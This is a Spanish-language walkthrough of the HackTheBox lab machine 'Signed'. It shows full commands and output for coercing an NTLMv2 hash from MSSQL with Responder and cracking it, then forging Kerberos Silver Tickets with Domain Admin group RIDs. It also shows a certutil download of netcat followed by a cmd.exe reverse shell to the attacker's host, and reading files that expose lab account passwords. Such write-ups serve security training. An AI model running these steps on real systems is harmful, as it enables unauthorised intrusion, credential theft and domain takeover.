Signed – HackTheBox Link to heading
- OS: Windows
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
![]()
Resumen Link to heading
“Signed” es una máquina de dificultad Media de la plataforma HackTheBox enfocada en explotación a entorno Active Directory, más específicamente sobre Microsoft SQL Server (MSSQL). Empezamos en una escenario donde se asume una brecha (credenciales dadas) las cuales funcionan en un servicio MSSQL. Dentro de este servicio somos capaces de obligar a que éste se autentique ante nuestro servidor, obtener su hash NTLMv2, crackearlo y obtener una contraseña en texto plano para una cuenta de servicio. Más aún, usando sólo el servicio MSSQL somos capaces de obtener algunas propiedades del entorno AD, tales como los Security Identifiers (SIDs) del dominio y grupos del dominio. Con esta información y la cuenta de servicio, somos capaces de forjar un Silver Ticket el cual nos permite elevar privilegios y comprometer el dominio.
User Link to heading
Windows de la vida real, empezamos la máquina Signed con credenciales las cuales pueden ser usadas ante el servicio MSSQL: scott / Sm230#C5NatHEmpezamos con un rápido escaneo con Nmap buscando puertos TCP abiertos:
❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.7.104
Sólo encontramos un puerto abierto en la máquina víctima: 1433 Microsoft SQL Server (MSSQL).
Aplicando algunos scripts de reconocimiento con la flag -sVC con Nmap obtenemos así:
❯ sudo nmap -sVC -p1433 10.129.7.104
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-11 21:28 -03
Nmap scan report for 10.129.7.104
Host is up (0.28s latency).
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-10-11T23:32:35
|_Not valid after: 2055-10-11T23:32:35
| ms-sql-info:
| 10.129.7.104:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
|_ssl-date: 2025-10-12T00:29:16+00:00; +3s from scanner time.
| ms-sql-ntlm-info:
| 10.129.7.104:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 2s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.42 seconds
También podemos obtener algo de información acerca del servicio MSSQL usando NetExec y las credenciales dadas:
❯ nxc mssql 10.129.7.104 -u scott -p 'Sm230#C5NatH' --local-auth
MSSQL 10.129.7.104 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.7.104 1433 DC01 [+] DC01\scott:Sm230#C5NatH
Donde hemos usado la flag --local-auth para utilizar la autenticación de SQL en lugar de la autenticación de Windows (relacionada a Active Directory).
Adicionalmente, del último output, y también de Nmap, podemos ver el nombre de máquina DC01, un dominio SIGNED.HTB y un FQDN (nombre de máquina con dominio) DC01.SIGNED.HTB. Agregamos esta información, junto con la dirección IP de la máquina víctima, a nuestro archivo /etc/hosts ejecutando en una terminal:
❯ echo '10.129.7.104 DC01 DC01.SIGNED.HTB SIGNED.HTB' | sudo tee -a /etc/hosts
Revisamos si podemos ejecutar peticiones/queries MSSQL remotamente con NetExec:
❯ nxc mssql DC01.SIGNED.HTB -u 'scott' -p 'Sm230#C5NatH' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases'
MSSQL 10.129.7.104 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.7.104 1433 DC01 [+] DC01\scott:Sm230#C5NatH
MSSQL 10.129.7.104 1433 DC01 name:master
MSSQL 10.129.7.104 1433 DC01 name:tempdb
MSSQL 10.129.7.104 1433 DC01 name:model
MSSQL 10.129.7.104 1433 DC01 name:msdb
Podemos.
También podemos utilizar el módulo mssql_priv para revisar si podemos elevar privilegios:
❯ nxc mssql DC01.SIGNED.HTB -u 'scott' -p 'Sm230#C5NatH' --local-auth -M mssql_priv -o ACTION=privesc
MSSQL 10.129.7.104 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.7.104 1433 DC01 [+] DC01\scott:Sm230#C5NatH
MSSQL_PRIV 10.129.7.104 1433 DC01 [-] can't find any path to privesc
Pero no encontramos un camino para elevar privilegios dentro de MSSQL.
Por tanto, empezaremos a enumerar la base de datos en sí. Para este propósito podemos utilizar la herramienta impacket-mssqlclient y acceder como el usuario scott con las credenciales dadas:
❯ impacket-mssqlclient scott:'Sm230#C5NatH'@DC01.SIGNED.HTB
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (scott guest@master)>
Podemos tratar de habilitar xp_cmdshell -que es lo que hace en parte el módulo mostrado anteriormente con NetExec-, pero como es de esperar no podemos habilitar esta función:
SQL (scott guest@master)> exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'xp_cmdshell', 1; RECONFIGURE; exec xp_cmdshell 'whoami';
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
Podemos revisar si hay otros usuarios en la base de datos con la query:
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
Lo cual retorna:
SQL (scott guest@master)> select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
login login_type password_hash create_date modify_date status
----- ---------- ------------- ----------- ----------- --------
sa SQL_LOGIN NULL 2003-04-08 09:10:35 2025-10-02 09:27:32 b'Enabled'
scott SQL_LOGIN NULL 2025-10-02 09:33:29 2025-10-02 09:33:29 b'Enabled'
Además de nuestro usuario scott, existe otro usuario llamado sa, el cual es un usuario por defecto en MSSQL, similar a root en MySQL.
Actualmente estamos logueados en la base de datos como el usuario guest:
SQL (scott guest@master)> SELECT user_name();
-----
guest
Podemos revisar si la base de datos contiene potenciales credenciales o contraseñas. Por ejemplo, revisando por contraseñas en la base de datos msdb retorna:
SQL (scott guest@master)> USE msdb; SELECT TABLE_SCHEMA, DB_NAME() AS DATABASE_NAME, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME LIKE '%pwd%' COLLATE SQL_Latin1_General_CP1_CI_AS OR COLUMN_NAME LIKE '%password%' COLLATE SQL_Latin1_General_CP1_CI_AS OR COLUMN_NAME LIKE '%passwd%' COLLATE SQL_Latin1_General_CP1_CI_AS;
ENVCHANGE(DATABASE): Old Value: master, New Value: msdb
INFO(DC01): Line 1: Changed database context to 'msdb'.
TABLE_SCHEMA DATABASE_NAME TABLE_NAME COLUMN_NAME
------------ ------------- -------------- ---------------------
dbo msdb backupmediaset is_password_protected
dbo msdb backupset is_password_protected
Pero ambas tablas están vacías.
Podemos enumerar roles en la base de datos:
SQL (scott guest@msdb)> SELECT name AS role_name, type_desc FROM sys.database_principals WHERE type = 'R' ORDER BY name;
role_name type_desc
----------------- -------------
db_accessadmin DATABASE_ROLE
db_backupoperator DATABASE_ROLE
db_datareader DATABASE_ROLE
db_datawriter DATABASE_ROLE
db_ddladmin DATABASE_ROLE
db_denydatareader DATABASE_ROLE
db_denydatawriter DATABASE_ROLE
db_owner DATABASE_ROLE
db_securityadmin DATABASE_ROLE
public DATABASE_ROLE
Tampoco podemos impersonar al usuario sa como el usuario actual:
SQL (scott guest@msdb)> EXECUTE AS LOGIN = 'sa'; SELECT IS_SRVROLEMEMBER('sysadmin');
ERROR(DC01): Line 1: Cannot execute as the server principal because the principal "sa" does not exist, this type of principal cannot be impersonated, or you do not have permission.
Ya en este punto podemos tratar de obtener el hash NTLMv2 del servicio que está corriendo la base de datos utilizando Responder. Empezamos Responder por la interfaz tun0 (la cual es usada por la VPN de HTB):
❯ sudo responder -I tun0
<SNIP>
Y, en la máquina víctima, usando la función xp_dirtree, forzamos una autenticación contra nuestra máquina de atacantes:
SQL (scott guest@master)> xp_dirtree \\10.10.16.7\\anything
subdirectory depth file
------------ ----- ----
Donde 10.10.16.7 es nuestra IP de atacantes.
Obtenemos un hash NTLMv2 para el usuario mssqlsvc en Responder:
❯ sudo responder -I tun0
<SNIP>
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.129.7.104
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::SIGNED:86ebe05c8ac776e5:6F8DD7B77C770985F2D12BD04338637A:010100000000000080B80273FC3ADC0183E9496D9585E58F000000000200080054004B0036004B0001001E00570049004E002D004700330030004400410056004A00300046003100550004003400570049004E002D004700330030004400410056004A0030004600310055002E0054004B0036004B002E004C004F00430041004C000300140054004B0036004B002E004C004F00430041004C000500140054004B0036004B002E004C004F00430041004C000700080080B80273FC3ADC01060004000200000008003000300000000000000000000000003000002F744E33D186B1A4DB7A428D2D5B065BD9F1A70EE6A82FDD9DEA628690FAEBA30A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0037000000000000000000
Notar que este hash, al ser un hash NTLMv2 y no NTLM, no sirve para hacer un Pass the Hash (PtH), pero sí podemos intentar crackearlo.
Guardamos el hash obtenido en un archivo llamado mssqlsvc_hash e intentamos un ataque de Brute Force Password Cracking (crackear la contraseña por fuerza bruta) utilizando la herramienta JohnTheRipper (john) junto con el diccionario de contraseñas rockyou.txt:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt mssqlsvc_hash --format=netntlmv2
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
purPLE9795!@ (mssqlsvc)
1g 0:00:00:08 DONE (2025-10-11 22:20) 0.1226g/s 550635p/s 550635c/s 550635C/s purcitititya..pupomalley
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
Obtenemos una contraseña para esta cuenta de servicio: purPLE9795!@
Dado que el único puerto es 1433 para MSSQL, revisamos si estas credenciales son válidas con NetExec a nivel de Windows/dominio:
❯ nxc mssql DC01.SIGNED.HTB -u 'mssqlsvc' -p 'purPLE9795!@'
MSSQL 10.129.7.104 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.7.104 1433 DC01 [+] SIGNED.HTB\mssqlsvc:purPLE9795!@
Son válidas. Dado que no usamos la flag --local-auth con NetExec esto significa que las credenciales son válidas a nivel de autenticación con Active Directory en lugar de autenticación con SQL esta vez.
Accedemos como la cuenta mssqlsvc usando nuevamente impacket-mssqlclient, pero esta vez agregando la flag -windows-auth para utilizar la autenticación con AD:
❯ impacket-mssqlclient mssqlsvc:'purPLE9795!@'@DC01.SIGNED.HTB -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc guest@master)>
Pero, aparentemente, no hay mucha diferencia dentro de la base de datos en sí.
Una cosa interesante que aprendí con esta máquina es que dado que estamos autenticados a nivel de dominio esto significa que podemos utilizar MSSQL para enumerar atributos/información del dominio. Por ejemplo, podemos enumerar usuarios relacionados a servicios de Windows:
SQL (SIGNED\mssqlsvc guest@msdb)> SELECT name, sid FROM sys.server_principals WHERE type_desc = 'WINDOWS_LOGIN' OR type_desc = 'WINDOWS_GROUP';
name sid
------------------------- -------------------------------------------------------------------
SIGNED\IT b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'
NT SERVICE\SQLWriter b'010600000000000550000000732b9753646ef90356745cb675c3aa6cd6b4d28b'
NT SERVICE\Winmgmt b'0106000000000005500000005a048ddff9c7430ab450d4e7477a2172ab4170f4'
NT SERVICE\MSSQLSERVER b'010600000000000550000000e20f4fe7b15874e48e19026478c2dc9ac307b83e'
NT AUTHORITY\SYSTEM b'010100000000000512000000'
NT SERVICE\SQLSERVERAGENT b'010600000000000550000000dca88f14b79fd47a992a3d8943f829a726066357'
NT SERVICE\SQLTELEMETRY b'010600000000000550000000447a1a9ee0235381234a54aa9bd0549c4fcc0642'
SIGNED\Domain Users b'0105000000000005150000005b7bb0f398aa2245ad4a1ca401020000'
Obtenemos una columna SID (Security Identifier) para un grupo llamado SIGNED/IT en valor hexadecimal (hex).
Para pasar la información a un formato “legible”, creé un pequeño script en Python (el cual puede ser descargado desde mi repositorio de Github) para este propósito:
❯ python3 hex_to_sid.py 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
[*] Hex SID: 0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000
[*] New SID: S-1-5-21-4088429403-1159899800-2753317549-1105
El valor de RID (el último valor después del último -) para el grupo IT es 1105.
Aunque luego mostraré porqué es innecesario, también podemos obtener el Domain SID utilizando MSSQL:
SQL (SIGNED\mssqlsvc guest@msdb)> DECLARE @sid VARBINARY(85) = SUSER_SID('SIGNED\Administrator'); DECLARE @len INT = DATALENGTH(@sid) - 4; SELECT 'Domain SID' AS label, CONVERT(VARCHAR(1000), SUBSTRING(@sid, 1, @len), 1) AS domain_sid_hex;
label domain_sid_hex
---------- -----------------------------------------------------
b'Domain SID' b'0x0105000000000005150000005B7BB0F398AA2245AD4A1CA4'
Donde obtenemos el valor en hex.
Usamos nuestro script nuevamente:
❯ python3 hex_to_sid.py 0105000000000005150000005B7BB0F398AA2245AD4A1CA4
[*] Hex SID: 0105000000000005150000005B7BB0F398AA2245AD4A1CA4
[*] New SID: S-1-5-21-4088429403-1159899800-2753317549
Vemos que el Domain SID es S-1-5-21-4088429403-1159899800-2753317549, lo cual no es sorpresa. ¿Por qué? Antes habíamos obtenido el SID para el grupo IT:
S-1-5-21-4088429403-1159899800-2753317549-1105
Donde notamos que todos los valores antes del último - son iguales al SID del dominio, y el último valor después del último - es el RID; por lo que el SID de un usuario o grupo siempre será:
<SID dominio> - <RID>
Aclarado aquello, continuamos.
Recordemos que también tenemos la contraseña de la cuenta de servicio mssqlsvc, la cual era purPLE9795!@. Podemos pasar esta contraseña a un hash NTLM ejecutando en una terminal:
❯ echo -n 'purPLE9795!@' | iconv -t utf16le | openssl dgst -md4 | awk '{print $2}'
ef699384c3285c54128a3ee1ddb1a0cc
En resumen, tenemos:
- Una cuenta de servicio
MSSQLjunto con su hashNTLM. - El
Domain SID. - El
SIDyRIDdel grupoIT.
Asumiendo que mssqlsvc es una cuenta privilegiada sobre el servicio MSSQLSvc de Windows es que podemos tratar de forjar un Silver Ticket dado que tenemos todo lo necesario para éste: el hash NTLM de una cuenta de servicio, el SID del dominio y el RID de un grupo (aunque esto último no es siempre necesario). Para este propósito podemos utilizar ticketer.py de la suite de Impacket, indicando que queremos impersonar al usuario con RID cuyo valor sea 500, que por defecto es Administrator:
❯ impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain SIGNED.HTB -spn 'MSSQLSvc/DC01.SIGNED.HTB' -user-id 500 Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SIGNED.HTB/Administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
Revisamos si el Silver Ticket forjado funciona con NetExec:
❯ KRB5CCNAME=Administrator.ccache nxc mssql DC01.SIGNED.HTB --use-kcache
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\Administrator from ccache
Aparentemente funciona.
Pero si usamos este ticket, éste corresponde al usuario guest a nivel de base de datos:
❯ KRB5CCNAME=Administrator.ccache impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator guest@master)> EXECUTE AS LOGIN = 'dbo'; SELECT IS_SRVROLEMEMBER('sysadmin');
ERROR(DC01): Line 1: Cannot execute as the server principal because the principal "dbo" does not exist, this type of principal cannot be impersonated, or you do not have permission.
SQL (SIGNED\Administrator guest@master)>
NetExec tampoco puede hallar una manera de elevar privilegios con este nuevo ticket:
❯ KRB5CCNAME=Administrator.ccache nxc mssql DC01.SIGNED.HTB --use-kcache -M mssql_priv -o ACTION=privesc
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\Administrator from ccache
MSSQL_PRIV DC01.SIGNED.HTB 1433 DC01 [-] can't find any path to privesc
Este ticket puede ser “corregido” si es que en el Silver Ticket agregamos de manera adicional grupos a los cuales debería de pertenecer el usuario utilizando la flag -groups, dando el valor de RID a ésta. Dado que el RID del grupo IT era 1105, agregamos este grupo al ticket:
❯ impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain SIGNED.HTB -spn MSSQLSvc/DC01.SIGNED.HTB -groups 1105 -user-id 500 Administrator
Y si revisamos este nuevo ticket con impacket-mssqlclient ahora somos el usuario dbo:
❯ KRB5CCNAME=Administrator.ccache impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator dbo@master)>
Si obtenemos un error al utilizar el ticket tal como Line 1: Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication esto puede deberse principalmente por la diferencia horaria entre nuestra máquina de atacantes y la máquina víctima. En tal caso puede que necesitamos ejecutar el comando previo utilizando las herramientas faketime y ntpdate:
❯ KRB5CCNAME=Administrator.ccache faketime "$(ntpdate -q DC01.SIGNED.HTB | cut -d ' ' -f 1,2)" impacket-mssqlclient -k -no-pass DC01.SIGNED.HTB -windows-auth
Si ahora utilizamos este ticket con NetExec nos muestra que ahora sí podemos elevar privilegios en MSSQL:
❯ KRB5CCNAME=Administrator.ccache nxc mssql DC01.SIGNED.HTB --use-kcache -M mssql_priv -o ACTION=privesc
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\Administrator from ccache (Pwn3d!)
MSSQL_PRIV DC01.SIGNED.HTB 1433 DC01 [+] SIGNED\Administrator is already a sysadmin
Obtenemos el mensaje Pwn3d!. Para MSSQL esto significa que podemos ejecutar comandos remotamente.
Por ende, descargamos un binario de netcat para Windows y lo exponemos en un servidor HTTP Python por el puerto 8000:
❯ ls -la && python3 -m http.server 8000
total 60
drwxrwxr-x 2 gunzf0x gunzf0x 4096 Oct 12 01:24 .
drwxrwxr-x 5 gunzf0x gunzf0x 4096 Oct 11 21:27 ..
-rw-rw-r-- 1 gunzf0x gunzf0x 3108 Oct 11 23:44 hex_to_sid.py
-rw-r--r-- 1 gunzf0x gunzf0x 45272 Oct 12 01:24 nc64.exe
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Empezamos un listener con netcat junto con rlwrap:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.18] from (UNKNOWN) [10.129.198.36] 54320
Microsoft Windows [Version 10.0.17763.7314]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Finalmente, usamos NetExec para descargar el binario de netcat con certutil para posteriormente ejecutarlo y enviarnos una reverse shell:
❯ KRB5CCNAME=Administrator.ccache nxc mssql DC01.SIGNED.HTB --use-kcache -x 'certutil.exe -urlcache -split -f http://10.10.16.18:8000/nc64.exe C:\Windows\System32\spool\drivers\color\nc.exe && C:\Windows\System32\spool\drivers\color\nc.exe 10.10.16.18 443 -e cmd.exe'
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\Administrator from ccache (Pwn3d!)
[01:26:30] ERROR Error when attempting to execute command via xp_cmdshell: timed out mssqlexec.py:30
[01:26:35] ERROR [OPSEC] Error when attempting to restore option 'xp_cmdshell': timed out mssqlexec.py:47
[01:26:40] ERROR [OPSEC] Error when attempting to restore option 'advanced options': timed out mssqlexec.py:47
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] Executed command via mssqlexec
Obtenemos así una shell como el usuario mssqlsvc:
❯ rlwrap -cAr nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.18] from (UNKNOWN) [10.129.198.36] 54320
Microsoft Windows [Version 10.0.17763.7314]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
signed\mssqlsvc
Podemos extraer la flag de usuario desde el Desktop del usuario mssqlsvc.
NT Authority/System - Administrator Link to heading
Tal cual habíamos hecho anteriormente para el usuario mssql_svc, podemos ahora tratar de crear otro ticket con mayores privilegios. Pero esta vez debemos pasar los RIDs/valores 512 y 519, dado que estos valores correponden a los grupos Domain Admins y Enterprise Admins, respectivamente (los cuales suelen ser “fijos” en un dominio AD):
❯ impacket-ticketer -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain SIGNED.HTB -spn MSSQLSvc/DC01.SIGNED.HTB -groups 512,519,1105 -user-id 1103 mssqlsvc
Ya que somos un usuario privilegiado podemos tratar de leer archivos del sistema con al función OPENBULK de MSSQL. Podemos tratar de leer la flag de system utilizando el ticket forjado con NetExec:
❯ KRB5CCNAME=mssqlsvc.ccache nxc mssql DC01.SIGNED.HTB --use-kcache -q "SELECT * FROM OPENROWSET(BULK N'C:/Users/Administrator/Desktop/root.txt', SINGLE_CLOB) AS Contents"
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\mssqlsvc from ccache (Pwn3d!)
MSSQL DC01.SIGNED.HTB 1433 DC01 BulkColumn:b'edf167200cc1af***************\r\n'
GG.
(Opcional) Shell como usuario Administrator Link to heading
Podemos leer el historial de PowerShell y así obtener:
❯ KRB5CCNAME=mssqlsvc.ccache nxc mssql DC01.SIGNED.HTB --use-kcache -q "SELECT * FROM OPENROWSET(BULK N'C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Powershell/PSReadline/ConsoleHost_history.txt', SINGLE_CLOB) AS Contents"
MSSQL DC01.SIGNED.HTB 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL DC01.SIGNED.HTB 1433 DC01 [+] SIGNED.HTB\mssqlsvc from ccache (Pwn3d!)
MSSQL DC01.SIGNED.HTB 1433 DC01 BulkColumn:b'# Domain`\n$Domain = "signed.htb"`\n`\n# Groups`\n$Groups = @("HR","IT","Finance","Developers","Support")`\n`\nforeach ($grp in $Groups) {`\n if (-not (Get-ADGroup -Filter "Name -eq \'$grp\'" -ErrorAction SilentlyContinue)) {`\n New-ADGroup -Name $grp -GroupScope Global -GroupCategory Security`\n }`\n}`\n`\n# Users: Username, Password, Group`\n$Users = @(`\n @{Username="oliver.mills"; Password="!Abc987321$"; Group="HR"},`\n @{Username="emma.clark"; Password="!Xyz654789#"; Group="HR"},`\n @{Username="liam.wright"; Password="!Qwe123789&"; Group="HR"},`\n`\n @{Username="noah.adams"; Password="!ItDev456$"; Group="IT"},`\n @{Username="ava.morris"; Password="!ItDev789#"; Group="IT"},`\n`\n @{Username="sophia.turner"; Password="!Fin987654$"; Group="Finance"},`\n @{Username="james.morgan"; Password="!Fin123987#"; Group="Finance"},`\n @{Username="mia.cooper"; Password="!Fin456321&"; Group="Finance"},`\n`\n @{Username="elijah.brooks"; Password="!Dev123456$"; Group="Developers"},`\n @{Username="isabella.evans"; Password="!Dev789654#"; Group="Developers"},`\n @{Username="lucas.murphy"; Password="!Dev321987&"; Group="Developers"},`\n @{Username="william.johnson"; Password="!ItDev321&"; Group="Developers"},`\n`\n @{Username="charlotte.price"; Password="!Sup123456$"; Group="Support"},`\n @{Username="henry.bennett"; Password="!Sup654321#"; Group="Support"},`\n @{Username="amelia.kelly"; Password="!Sup987123&"; Group="Support"},`\n @{Username="jackson.gray"; Password="!Sup321654$"; Group="Support"},`\n @{Username="harper.diaz"; Password="!Sup789321#"; Group="Support"}`\n)`\n`\nforeach ($u in $Users) {`\n if (-not (Get-ADUser -Filter "SamAccountName -eq \'$($u.Username)\'" -ErrorAction SilentlyContinue)) {`\n New-ADUser -Name $u.Username ``\n -SamAccountName $u.Username ``\n -UserPrincipalName "$($u.Username)@$Domain" ``\n -AccountPassword (ConvertTo-SecureString $u.Password -AsPlainText -Force) ``\n -Enabled $true ``\n -PasswordNeverExpires $true`\n`\n Add-ADGroupMember -Identity $u.Group -Members $u.Username`\n }`\n}\r\nInvoke-WebRequest -Uri "https://go.microsoft.com/fwlink/?linkid
=2215202&clcid=0x409&culture=en-us&country=us" -OutFile "C:\\Windows\\Tasks\\SQL2022-SSEI-Expr.exe"\r\nC:\\Windows\\Tasks\\SQL2022-SSEI-Expr.exe\r\ncd \\\r\ndir\r\ncd .\\SQL2022\\\r\ndir\r\ncd .\\Evaluation_ENU\\\r\ndir\r\n.\\SETUP.EXE /ACTION=Install\r\nget-service -Name MSSQLSERVER\r\nNew-NetFirewallRule -DisplayName "SQL Server TCP 1433" -
Direction Inbound -Protocol TCP -LocalPort 1433 -Action Allow -Profile any\r\nget-service -Name MSSQLSERVER\r\nSet-Service mssqlserver -StartupType automatic\r\nget-service
-Name MSSQLSERVER\r\nStart-Service mssqlserver\r\nwhoami /all\r\nsecedit /export /cfg C:\\windows\\tasks\\cur.inf\r\nnotepad C:\\windows\\tasks\\cur.inf\r\nsecedit /config
